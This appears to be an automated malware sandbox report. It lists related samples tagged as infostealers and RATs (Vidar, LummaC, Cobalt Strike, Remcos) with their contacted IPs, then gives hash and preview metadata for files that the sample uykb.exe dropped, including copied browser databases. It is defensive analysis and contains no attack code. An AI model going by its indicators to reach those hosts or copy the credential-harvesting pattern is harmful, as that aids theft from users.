	QpSeRSQRMU.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
	qfab.geontrigame.com.ps1	Get hash	malicious	Unknown	Browse	40.113.110.67
	dhsfiud.ps1	Get hash	malicious	Unknown	Browse	40.113.110.67
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse	40.113.110.67
	KhfOXg8Y9W.exe	Get hash	malicious	Amadey, Cryptbot, GCleaner, LummaC Stealer, Stealc, Vidar	Browse	40.113.110.67
	00wVZ1NU5b.exe	Get hash	malicious	Unknown	Browse	40.113.110.67
	givemebestoutputwithfreemindgoodforentiregood.hta	Get hash	malicious	Cobalt Strike	Browse	40.113.110.67
	nicegirlgivenmebestthingswithentiretimegoodfor.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	40.113.110.67
	WNqzT7mxfC.lnk	Get hash	malicious	Unknown	Browse	40.113.110.67
37f463bf4616ecd445d4a1937da06e19	random.exe	Get hash	malicious	Vidar	Browse	116.202.5.153 149.154.167.99
	random.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, RedLine, Stealc, Vidar	Browse	116.202.5.153 149.154.167.99
	random.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	116.202.5.153 149.154.167.99
	installer3.exe	Get hash	malicious	XRed	Browse	116.202.5.153 149.154.167.99
	iexplore.exe	Get hash	malicious	XRed	Browse	116.202.5.153 149.154.167.99
	bound.exe	Get hash	malicious	XRed	Browse	116.202.5.153 149.154.167.99
	Microsoft.exe	Get hash	malicious	XRed	Browse	116.202.5.153 149.154.167.99
	mpt.zip	Get hash	malicious	Remcos	Browse	116.202.5.153 149.154.167.99
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	116.202.5.153 149.154.167.99

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\2djeknyuk

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\5pp8q9

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\a1dt00

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\ProgramData\g4op8\aaieuk

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\c2vkng

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\d2djec

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\g4op8\ekx4oh

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\ProgramData\g4op8\fkx479

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69422273140364
Encrypted:	false
SSDEEP:	24:hdGRma8y0UOkmVb01yh9qfT+PsSMxto3vIcMhrzxYWSDHtj:hdGRma6bRh9rsFE/uhrOWSDHh
MD5:	A686C2E2230002C3810CB3638589BF01
SHA1:	4B764DD14070E52A2AC0458F401CDD5724E714FB
SHA-256:	38F526D338AC47F7C2CAB7AB654A375C87E51CC56B4FA09A7C5769E2FB472FFC
SHA-512:	1F2AA9D4B55B52C32EF0C88189256562B16DF13EEA0564BD7B47E45CC39279F39823033ADF95BBD9A50B4F35E417E418C4D20BBE14EF425EFF7134ECE05BEB3F
Malicious:	false
Preview:	SUAVTZKNFLPDUIKIPSQJDVGAPGXKDOHYHNOWHLTUYHUBPZNAGHXWSRGELNTTLWSOVKHBKQEKGENMQDFUYQEFPUMFVGFHNHBEYAAJVHSIYLSLGVZSSKYNEFOJGJXPWCGXOBRZVXDWDDKKLDGWVLNCMOJKBSBYFMTKILZOONEGLZWORUNOTXJNOTGXQTUBOXEFHVICNNYYHMRGCLTZLWQODATYJZBGFVEMSABDUIKNKVRGQOHHCSHZAJIYWZLGGZOOEOQBTEAFTXBQJIHRZBDRPFDGHVFGYZEIHFYVBPAXJYSLOTRVHEFEEWXUGJCOLFXEKSPFHBKQEHGPZADNNCAUYCTEDLFKZMZOQOADUCTDIOYKELVKGABHEMOSAYPWUUKTZHQNEQWLFATTPCULHLMBMEQVAXDFQNQLMLVOFTUTWLMJNLVNCRHTWUTJEEORGWISXALHDTNXRCWVMZRUEMSVOJYMENRHGVXXMGLOWYRFKZLPBZQMETPESMZPCJGYXVQSMCJXYEMMNKLPIXGOXOMQNYCFAEVPXDGOFEGSLWKBUOLRKXGTWDFUVGYFTOWQZAOIMQUZEELMCQWKUBEWGFDVXSXNGHPJNVDQHMPSSIFZTQLVBBHZOEGNPDAWAYLIRBWZHXRAXBBESYNRIRINAKLQMELNYRHRPKDBUCNSZOVHNTBCUYDQTGFWZJUCUZBHHXHQHKWOWTEWLUGGGWHIHCWZLLJPDFVDICZBBLFSECTLMQBKCPCHANOICKIUSVAJTYQOIUWRGVAFOFTMIHARUUCNGBLVFIKMTTGPYXNEVGLPMZDMIQDQOLIEFHNZYMZTCDOHBNQLNVLXRUXMGYCVOJDBWPSJKMFMEDBEMXULQBRVRKPYNUACCXNPGFEMPXDXNEIPTKGSKUMVFSLCTJFHNFATCDKSZWKYMVQNTVHCOAJXDUTJZESFLKTQOGREXBTBVBGLDYJYDTNEAQDFRTXMJIHJCCTPUDZLNKNEABFQYCDL

C:\ProgramData\g4op8\l6xtrq

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675584730358607
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMUSA1LyKOMq+8iP5GDHP/0jMVum+:Kq+n0JU91LyKOMq+8iP5GLP/0X
MD5:	5E466F2F06ABA07C89553D70044107CA
SHA1:	5528CCF033892967A14EEBD71284650D8E439540
SHA-256:	9A9684A3F92C984331A96536A4EBBFA6B1FAED3DF940770331A8446CD335980C
SHA-512:	72F162A2359DD257C7FC8894C45D28B7F288523C27F4BEF9BC744AD53E21BDFB9A93359B1D2E231F9D3465E106865F9578987E6EC4A8DCCB3638486B605E4F3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\ppzus2

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436837154972243
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v2:51zkVmvQhyn+Zoz67f
MD5:	BDDB3A7A4643B027E8E743D32B86297D
SHA1:	AACAA39E60FB34908241F75550B1CEDDA50E37D1
SHA-256:	13BC4A6A15651C116209341E97255C67980005927DFD9E91236E2E1517AF97EF
SHA-512:	9A6244248CA636DB12AEC2E56DEAEAA2D62ED8378EA5A1D9947938DA15CA66BC4EDF11BF7CCC92E43734449EBECD03CF538BB61FCF90798DEBFD65098BC2A444
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\g4op8\q1va1d

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\ProgramData\g4op8\wlfctjwtj

Download File

Process:	C:\Users\user\Desktop\uykb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\039454ee-5adc-4d34-81c4-79841c7e4526.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44922
Entropy (8bit):	6.094831142760933
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWesi1zNtJGfXNEPhjp89qKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynG2KtSmd6qE7lFoC
MD5:	6CC9AC86A4ED7DBE311EDC52A446CBD0
SHA1:	6587706F959B87CB0A7A6D3580BBCED32642A6A1
SHA-256:	DE35A1E3E4EB3ADA9CC32EFCDAA8176FC46E9B64B8404848FDA9FB6F3558D08F
SHA-512:	025393B8DD5A8275ED81C24D3CAF7ED137B0486F4AC9A62315A910B623A16C1F6304B59C31298A3775DE62F0501C028815FC27551EDBF5F1D3CD720E66679489
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2f1e22b1-80b6-4fba-98b0-7110cbd70f19.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45004
Entropy (8bit):	6.094656501961177
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWvsi1zNtJGfX9UB+ZWyaPF4KJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOLJKtSmd6qE7lFoC
MD5:	C124DCF1FA0529BA04E4341DFD130F5A
SHA1:	AA2AADE7E742217A0F7D26B93BE442B814002798
SHA-256:	6EF4504D7BAA281A40125927A403F1BBB2219F8146A23377A0882E8F6A0393B5
SHA-512:	9695A47D56E93CF1082875E479F41893E4434785FFD3186A584EEF47273B4E45898AC5BABD81DFB251C6BD0A11435E768F59521AE1BAC987E81BE1C7D9D69CFB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2ffe9300-e3fb-4b3d-9624-ecceb2c94831.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46178
Entropy (8bit):	6.08726024555773
Encrypted:	false
SSDEEP:	768:RwMkbJ6eg6KzhXRLrDKnGBXi1zNtJGfX9UB+ZWyaPF4hn8Vy27TcCio+JDSgzMMz:RwMk16zRRvDKcJOy2cFo+tSmd6qE7A
MD5:	6CD1FB15390AF89A514DFE9A4AA502DB
SHA1:	215B7DFF4D10F317CF1CC1D0F8482AFAC43FC762
SHA-256:	C0C865EB5504A1D2B3F4C32D36DC229E827C09E53EB61F41D2010EA237C8D291
SHA-512:	E2B9825F93178E6B97767B8EDF31A6720147E175B2C2AF28CD9685DEE286C38A0EC6AAC17295A38477F665C3B64EB3F658F99640877690A58BF0245DF681B14E
Malicious:	false
